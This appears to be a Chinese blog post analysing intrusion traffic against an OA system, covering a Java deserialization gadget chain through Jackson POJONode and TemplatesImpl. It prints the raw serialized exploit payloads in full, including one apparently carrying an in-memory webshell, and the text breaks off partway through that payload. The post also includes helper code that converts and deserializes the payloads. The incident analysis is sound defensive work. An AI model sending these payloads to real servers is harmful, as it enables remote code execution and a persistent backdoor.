【java安全】记HW中的一次0day流量分析
客户说上次被攻击的流量不太明白,让我分析看看,于是分析了一下流量,发现是oa系统的反序列化漏洞,并且被注入内存马,分析过程记录如下
分析
第一个payload(已脱敏):
POST /xxxxxxxxx/user-manager/users_query HTTP/1.1
Host: xxxxxxxxxxxxx
Content-Length: 9458
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Bearer xxxxxxxxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Content-Type: application/json
{"expressions":[{"name":"creatorAccount","op":"ne","objectDataValue":[-84, -19, 0, 5, 115, 114, 0, 46, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 66, 97, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 86, 97, 108, 117, 101, 69, 120, 112, 69, 120, 99, 101, 112, 116, 105, 111, 110, -44, -25, -38, -85, 99, 45, 70, 64, 2, 0, 1, 76, 0, 3, 118, 97, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 114, 0, 19, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 69, 120, 99, 101, 112, 116, 105, 111, 110, -48, -3, 31, 62, 26, 59, 28, -60, 2, 0, 0, 120, 114, 0, 19, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 84, 104, 114, 111, 119, 97, 98, 108, 101, -43, -58, 53, 39, 57, 119, -72, -53, 3, 0, 4, 76, 0, 5, 99, 97, 117, 115, 101, 116, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 76, 0, 13, 100, 101, 116, 97, 105, 108, 77, 101, 115, 115, 97, 103, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 0, 10, 115, 116, 97, 99, 107, 84, 114, 97, 99, 101, 116, 0, 30, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 59, 76, 0, 20, 115, 117, 112, 112, 114, 101, 115, 115, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 116, 0, 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 120, 112, 113, 0, 126, 0, 8, 112, 117, 114, 0, 30, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 59, 2, 70, 42, 60, 60, -3, 34, 57, 2, 0, 0, 120, 112, 0, 0, 0, 6, 115, 114, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 97, 9, -59, -102, 38, 54, -35, -123, 2, 0, 4, 73, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 76, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 113, 0, 126, 0, 5, 76, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 113, 0, 126, 0, 5, 120, 112, 0, 0, 0, 26, 116, 0, 39, 109, 101, 46, 103, 118, 55, 46, 119, 111, 111, 100, 112, 101, 99, 107, 101, 114, 46, 121, 115, 111, 46, 112, 97, 121, 108, 111, 97, 100, 115, 46, 74, 97, 99, 107, 115, 111, 110, 49, 116, 0, 13, 74, 97, 99, 107, 115, 111, 110, 49, 46, 106, 97, 118, 97, 116, 0, 9, 103, 101, 116, 79, 98, 106, 101, 99, 116, 115, 113, 0, 126, 0, 11, 0, 0, 0, 19, 116, 0, 6, 77, 97, 105, 110, 36, 49, 116, 0, 9, 77, 97, 105, 110, 46, 106, 97, 118, 97, 116, 0, 4, 99, 97, 108, 108, 115, 113, 0, 126, 0, 11, 0, 0, 0, 14, 113, 0, 126, 0, 17, 113, 0, 126, 0, 18, 113, 0, 126, 0, 19, 115, 113, 0, 126, 0, 11, 0, 0, 0, 72, 116, 0, 56, 109, 101, 46, 103, 118, 55, 46, 119, 111, 111, 100, 112, 101, 99, 107, 101, 114, 46, 121, 115, 111, 46, 115, 101, 99, 109, 103, 114, 46, 69, 120, 101, 99, 67, 104, 101, 99, 107, 105, 110, 103, 83, 101, 99, 117, 114, 105, 116, 121, 77, 97, 110, 97, 103, 101, 114, 116, 0, 32, 69, 120, 101, 99, 67, 104, 101, 99, 107, 105, 110, 103, 83, 101, 99, 117, 114, 105, 116, 121, 77, 97, 110, 97, 103, 101, 114, 46, 106, 97, 118, 97, 116, 0, 11, 99, 97, 108, 108, 87, 114, 97, 112, 112, 101, 100, 115, 113, 0, 126, 0, 11, 0, 0, 0, 14, 116, 0, 4, 77, 97, 105, 110, 113, 0, 126, 0, 18, 116, 0, 22, 103, 101, 116, 83, 101, 114, 105, 97, 108, 105, 122, 101, 100, 66, 121, 116, 101, 65, 114, 114, 97, 121, 115, 113, 0, 126, 0, 11, 0, 0, 0, 41, 113, 0, 126, 0, 26, 113, 0, 126, 0, 18, 116, 0, 4, 109, 97, 105, 110, 115, 114, 0, 38, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 36, 85, 110, 109, 111, 100, 105, 102, 105, 97, 98, 108, 101, 76, 105, 115, 116, -4, 15, 37, 49, -75, -20, -114, 16, 2, 0, 1, 76, 0, 4, 108, 105, 115, 116, 113, 0, 126, 0, 7, 120, 114, 0, 44, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 36, 85, 110, 109, 111, 100, 105, 102, 105, 97, 98, 108, 101, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 25, 66, 0, -128, -53, 94, -9, 30, 2, 0, 1, 76, 0, 1, 99, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 59, 120, 112, 115, 114, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 65, 114, 114, 97, 121, 76, 105, 115, 116, 120, -127, -46, 29, -103, -57, 97, -99, 3, 0, 1, 73, 0, 4, 115, 105, 122, 101, 120, 112, 0, 0, 0, 0, 119, 4, 0, 0, 0, 0, 120, 113, 0, 126, 0, 35, 120, 115, 114, 0, 44, 99, 111, 109, 46, 102, 97, 115, 116, 101, 114, 120, 109, 108, 46, 106, 97, 99, 107, 115, 111, 110, 46, 100, 97, 116, 97, 98, 105, 110, 100, 46, 110, 111, 100, 101, 46, 80, 79, 74, 79, 78, 111, 100, 101, 0, 0, 0, 0, 0, 0, 0, 2, 2, 0, 1, 76, 0, 6, 95, 118, 97, 108, 117, 101, 113, 0, 126, 0, 1, 120, 114, 0, 45, 99, 111, 109, 46, 102, 97, 115, 116, 101, 114, 120, 109, 108, 46, 106, 97, 99, 107, 115, 111, 110, 46, 100, 97, 116, 97, 98, 105, 110, 100, 46, 110, 111, 100, 101, 46, 86, 97, 108, 117, 101, 78, 111, 100, 101, 0, 0, 0, 0, 0, 0, 0, 1, 2, 0, 0, 120, 114, 0, 48, 99, 111, 109, 46, 102, 97, 115, 116, 101, 114, 120, 109, 108, 46, 106, 97, 99, 107, 115, 111, 110, 46, 100, 97, 116, 97, 98, 105, 110, 100, 46, 110, 111, 100, 101, 46, 66, 97, 115, 101, 74, 115, 111, 110, 78, 111, 100, 101, 0, 0, 0, 0, 0, 0, 0, 1, 2, 0, 0, 120, 112, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, -63, 110, -84, -85, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 17, 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 0, 0, 0, -1, -1, -1, -1, 117, 114, 0, 3, 91, 91, 66, 75, -3, 25, 21, 103, 103, -37, 55, 2, 0, 0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 2, 91, 66, -84, -13, 23, -8, 6, 8, 84, -32, 2, 0, 0, 120, 112, 0, 0, 1, -54, -54, -2, -70, -66, 0, 0, 0, 49, 0, 31, 1, 0, 15, 84, 50, 56, 48, 48, 52, 56, 51, 51, 55, 53, 51, 49, 48, 48, 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 20, 84, 50, 56, 48, 48, 52, 56, 51, 51, 55, 53, 51, 49, 48, 48, 46, 106, 97, 118, 97, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 5, 0, 0, 0, 0, 0, 0, 11, -72, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 7, 0, 12, 1, 0, 5, 115, 108, 101, 101, 112, 1, 0, 4, 40, 74, 41, 86, 12, 0, 14, 0, 15, 10, 0, 13, 0, 16, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 1, 0, 64, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 109, 101, 47, 65, 98, 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 7, 0, 19, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 7, 0, 21, 1, 0, 16, 115, 101, 114, 105, 97, 108, 86, 101, 114, 115, 105, 111, 110, 85, 73, 68, 1, 0, 1, 74, 5, -83, 32, -109, -13, -111, -35, -17, 62, 1, 0, 13, 67, 111, 110, 115, 116, 97, 110, 116, 86, 97, 108, 117, 101, 1, 0, 6, 60, 105, 110, 105, 116, 62, 12, 0, 28, 0, 8, 10, 0, 20, 0, 29, 0, 33, 0, 2, 0, 20, 0, 1, 0, 22, 0, 1, 0, 26, 0, 23, 0, 24, 0, 1, 0, 27, 0, 0, 0, 2, 0, 25, 0, 2, 0, 8, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 33, 0, 3, 0, 2, 0, 0, 0, 12, -89, 0, 3, 1, 76, 20, 0, 10, -72, 0, 17, -79, 0, 0, 0, 1, 0, 18, 0, 0, 0, 3, 0, 1, 3, 0, 1, 0, 28, 0, 8, 0, 1, 0, 9, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 30, -79, 0, 0, 0, 0, 0, 0, 117, 113, 0, 126, 0, 47, 0, 0, 0, -22, -54, -2, -70, -66, 0, 0, 0, 49, 0, 19, 1, 0, 3, 70, 111, 111, 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 8, 70, 111, 111, 46, 106, 97, 118, 97, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 7, 0, 7, 1, 0, 16, 115, 101, 114, 105, 97, 108, 86, 101, 114, 115, 105, 111, 110, 85, 73, 68, 1, 0, 1, 74, 5, 113, -26, 105, -18, 60, 109, 71, 24, 1, 0, 13, 67, 111, 110, 115, 116, 97, 110, 116, 86, 97, 108, 117, 101, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 12, 0, 14, 0, 15, 10, 0, 4, 0, 16, 1, 0, 4, 67, 111, 100, 101, 0, 33, 0, 2, 0, 4, 0, 1, 0, 8, 0, 1, 0, 26, 0, 9, 0, 10, 0, 1, 0, 13, 0, 0, 0, 2, 0, 11, 0, 1, 0, 1, 0, 14, 0, 15, 0, 1, 0, 18, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 17, -79, 0, 0, 0, 0, 0, 0, 112, 116, 0, 1, 80, 112, 119, 1, 0, 120],"dataType":"obj"}]}
可以很明显的看到objectDataValue是java序列化后的数据(开头是魔数 0xaced)
使用脚本文件处理,保存为1.ser
payload = [-84, -19, 0, 5, 115....]
b = []
for k in payload:
if k >= 0:
b.append(k)
else:
b.append(256+k)
f = open("1.ser", "wb")
f.write(bytearray(b))
使用zkar反序列化数据分析工具进行解析
可以翻阅到序列化中存在几个眼熟的javax.management.BadAttributeValueExpException
、com.fasterxml.jackson.databind.node.POJONode
、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
...
恶意链很明显了,通过BadAttributeValueExpException
调用到POJONode
tostring方法,从而调用TemplatesImpl
的getOutputProperties
方法执行任意代码
因此要取证攻击者执行了哪些恶意操作,直接找到TemplatesImpl
的_bytecodes
属性,这个是java字节码,保存为1.class
我这里使用动态调试的方式提取
package org.example;
import java.io.*;
public class Evil {
public static void main(String[] args){
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"))) {
Object result = ois.readObject();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
在getOutputProperties
方法断下,即可提取_bytecodes字节码
提取后使用前的python脚本处理,保存为1.class,反编译即可看到代码逻辑:延时3s,因此这个请求是在探测是否存在漏洞
第二个payload比较大(注入内存马)
[-84, -19, 0, 5, 115, 114, 0, 46, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 66, 97, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 86, 97, 108, 117, 101, 69, 120, 112, 69, 120, 99, 101, 112, 116, 105, 111, 110, -44, -25, -38, -85, 99, 45, 70, 64, 2, 0, 1, 76, 0, 3, 118, 97, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 114, 0, 19, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 69, 120, 99, 101, 112, 116, 105, 111, 110, -48, -3, 31, 62, 26, 59, 28, -60, 2, 0, 0, 120, 114, 0, 19, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 84, 104, 114, 111, 119, 97, 98, 108, 101, -43, -58, 53, 39, 57, 119, -72, -53, 3, 0, 4, 76, 0, 5, 99, 97, 117, 115, 101, 116, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 76, 0, 13, 100, 101, 116, 97, 105, 108, 77, 101, 115, 115, 97, 103, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 0, 10, 115, 116, 97, 99, 107, 84, 114, 97, 99, 101, 116, 0, 30, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 59, 76, 0, 20, 115, 117, 112, 112, 114, 101, 115, 115, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 116, 0, 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 120, 112, 113, 0, 126, 0, 8, 112, 117, 114, 0, 30, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 59, 2, 70, 42, 60, 60, -3, 34, 57, 2, 0, 0, 120, 112, 0, 0, 0, 6, 115, 114, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 97, 9, -59, -102, 38, 54, -35, -123, 2, 0, 4, 73, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 76, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 113, 0, 126, 0, 5, 76, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 113, 0, 126, 0, 5, 120, 112, 0, 0, 0, 26, 116, 0, 39, 109, 101, 46, 103, 118, 55, 46, 119, 111, 111, 100, 112, 101, 99, 107, 101, 114, 46, 121, 115, 111, 46, 112, 97, 121, 108, 111, 97, 100, 115, 46, 74, 97, 99, 107, 115, 111, 110, 49, 116, 0, 13, 74, 97, 99, 107, 115, 111, 110, 49, 46, 106, 97, 118, 97, 116, 0, 9, 103, 101, 116, 79, 98, 106, 101, 99, 116, 115, 113, 0, 126, 0, 11, 0, 0, 0, 19, 116, 0, 6, 77, 97, 105, 110, 36, 49, 116, 0, 9, 77, 97, 105, 110, 46, 106, 97, 118, 97, 116, 0, 4, 99, 97, 108, 108, 115, 113, 0, 126, 0, 11, 0, 0, 0, 14, 113, 0, 126, 0, 17, 113, 0, 126, 0, 18, 113, 0, 126, 0, 19, 115, 113, 0, 126, 0, 11, 0, 0, 0, 72, 116, 0, 56, 109, 101, 46, 103, 118, 55, 46, 119, 111, 111, 100, 112, 101, 99, 107, 101, 114, 46, 121, 115, 111, 46, 115, 101, 99, 109, 103, 114, 46, 69, 120, 101, 99, 67, 104, 101, 99, 107, 105, 110, 103, 83, 101, 99, 117, 114, 105, 116, 121, 77, 97, 110, 97, 103, 101, 114, 116, 0, 32, 69, 120, 101, 99, 67, 104, 101, 99, 107, 105, 110, 103, 83, 101, 99, 117, 114, 105, 116, 121, 77, 97, 110, 97, 103, 101, 114, 46, 106, 97, 118, 97, 116, 0, 11, 99, 97, 108, 108, 87, 114, 97, 112, 112, 101, 100, 115, 113, 0, 126, 0, 11, 0, 0, 0, 14, 116, 0, 4, 77, 97, 105, 110, 113, 0, 126, 0, 18, 116, 0, 22, 103, 101, 116, 83, 101, 114, 105, 97, 108, 105, 122, 101, 100, 66, 121, 116, 101, 65, 114, 114, 97, 121, 115, 113, 0, 126, 0, 11, 0, 0, 0, 42, 113, 0, 126, 0, 26, 113, 0, 126, 0, 18, 116, 0, 4, 109, 97, 105, 110, 115, 114, 0, 38, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 36, 85, 110, 109, 111, 100, 105, 102, 105, 97, 98, 108, 101, 76, 105, 115, 116, -4, 15, 37, 49, -75, -20, -114, 16, 2, 0, 1, 76, 0, 4, 108, 105, 115, 116, 113, 0, 126, 0, 7, 120, 114, 0, 44, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 36, 85, 110, 109, 111, 100, 105, 102, 105, 97, 98, 108, 101, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 25, 66, 0, -128, -53, 94, -9, 30, 2, 0, 1, 76, 0, 1, 99, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 59, 120, 112, 115, 114, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 65, 114, 114, 97, 121, 76, 105, 115, 116, 120, -127, -46, 29, -103, -57, 97, -99, 3, 0, 1, 73, 0, 4, 115, 105, 122, 101, 120, 112, 0, 0, 0, 0, 119, 4, 0, 0, 0, 0, 120, 113, 0, 126, 0, 35, 120, 115, 114, 0, 44, 99, 111, 109, 46, 102, 97, 115, 116, 101, 114, 120, 109, 108, 46, 106, 97, 99, 107, 115, 111, 110, 46, 100, 97, 116, 97, 98, 105, 110, 100, 46, 110, 111, 100, 101, 46, 80, 79, 74, 79, 78, 111, 100, 101, 0, 0, 0, 0, 0, 0, 0, 2, 2, 0, 1, 76, 0, 6, 95, 118, 97, 108, 117, 101, 113, 0, 126, 0, 1, 120, 114, 0, 45, 99, 111, 109, 46, 102, 97, 115, 116, 101, 114, 120, 109, 108, 46, 106, 97, 99, 107, 115, 111, 110, 46, 100, 97, 116, 97, 98, 105, 110, 100, 46, 110, 111, 100, 101, 46, 86, 97, 108, 117, 101, 78, 111, 100, 101, 0, 0, 0, 0, 0, 0, 0, 1, 2, 0, 0, 120, 114, 0, 48, 99, 111, 109, 46, 102, 97, 115, 116, 101, 114, 120, 109, 108, 46, 106, 97, 99, 107, 115, 111, 110, 46, 100, 97, 116, 97, 98, 105, 110, 100, 46, 110, 111, 100, 101, 46, 66, 97, 115, 101, 74, 115, 111, 110, 78, 111, 100, 101, 0, 0, 0, 0, 0, 0, 0, 1, 2, 0, 0, 120, 112, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, -63, 110, -84, -85, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 17, 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 0, 0, 0, -1, -1, -1, -1, 117, 114, 0, 3, 91, 91, 66, 75, -3, 25, 21, 103, 103, -37, 55, 2, 0, 0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 2, 91, 66, -84, -13, 23, -8, 6, 8, 84, -32, 2, 0, 0, 120, 112, 0, 0, 108, -97, -54, -2, -70, -66, 0, 0, 0, 49, 1, 115, 7, 0, 34, 7, 0, 77, 7, 0, 78, 7, 0, -109, 7, 0, -111, 7, 0, -59, 3, 0, 0, -1, -1, 8, 1, 102, 8, 1, 103, 3, 28, 43, -29, -44, 3, 108, 11, -109, -12, 3, -109, -12, 108, 12, 3, -127, 116, 126, -116, 3, -45, -30, 44, 30, 3, 44, 29, -45, -30, 3, -120, -114, 119, 114, 3, 119, 113, -120, -114, 3, -59, -50, 58, 50, 3, 113, 45, -114, -46, 3, -114, -46, 113, 46, 3, 98, -33, -99, 32, 3, -99, 32, 98, -32, 3, -36, -4, 35, 4, 3, 35, 3, -36, -4, 3, 35, 5, -36, -6, 1, 0, 23, 99, 111, 109, 47, 102, 97, 115, 116, 101, 114, 120, 109, 108, 114, 47, 87, 101, 98, 85, 116, 105, 108, 115, 7, 0, 26, 1, 0, 64, 99, 111, 109, 47, 115, 117, 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 109, 101, 47, 65, 98, 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 7, 0, 28, 1, 0, 1, 98, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 67, 111, 100, 101, 1, 0, 1, 97, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 12, 0, 35, 0, 36, 10, 0, 1, 0, 37, 1, 0, 3, 40, 41, 86, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, 40, 1, 0, 9, 90, 75, 77, 49, 51, 46, 48, 46, 48, 1, 0, 14, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 7, 0, 43, 1, 0, 18, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 73, 116, 101, 114, 97, 116, 111, 114, 7, 0, 45, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 12, 0, 35, 0, 39, 10, 0, 29, 0, 48, 1, 0, 1, 100, 1, 0, 18, 40, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 12, 0, 50, 0, 51, 10, 0, 27, 0, 52, 1, 0, 8, 105, 116, 101, 114, 97, 116, 111, 114, 1, 0, 22, 40, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 73, 116, 101, 114, 97, 116, 111, 114, 59, 12, 0, 54, 0, 55, 11, 0, 44, 0, 56, 1, 0, 7, 104, 97, 115, 78, 101, 120, 116, 1, 0, 3, 40, 41, 90, 12, 0, 58, 0, 59, 11, 0, 46, 0, 60, 1, 0, 4, 110, 101, 120, 116, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 62, 0, 63, 11, 0, 46, 0, 64, 1, 0, 41, 40, 73, 73, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 33, 0, 66, 10, 0, 27, 0, 67, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 12, 0, 33, 0, 69, 10, 0, 27, 0, 70, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 41, 86, 12, 0, 33, 0, 72, 10, 0, 27, 0, 73, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 59, 7, 0, 75, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 77, 97, 112, 7, 0, 79, 1, 0, 19, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 65, 114, 114, 97, 121, 76, 105, 115, 116, 7, 0, 81, 10, 0, 82, 0, 48, 1, 0, 1, 99, 1, 0, 21, 40, 41, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 59, 12, 0, 84, 0, 85, 10, 0, 27, 0, 86, 1, 0, 7, 103, 101, 116, 78, 97, 109, 101, 12, 0, 88, 0, 31, 10, 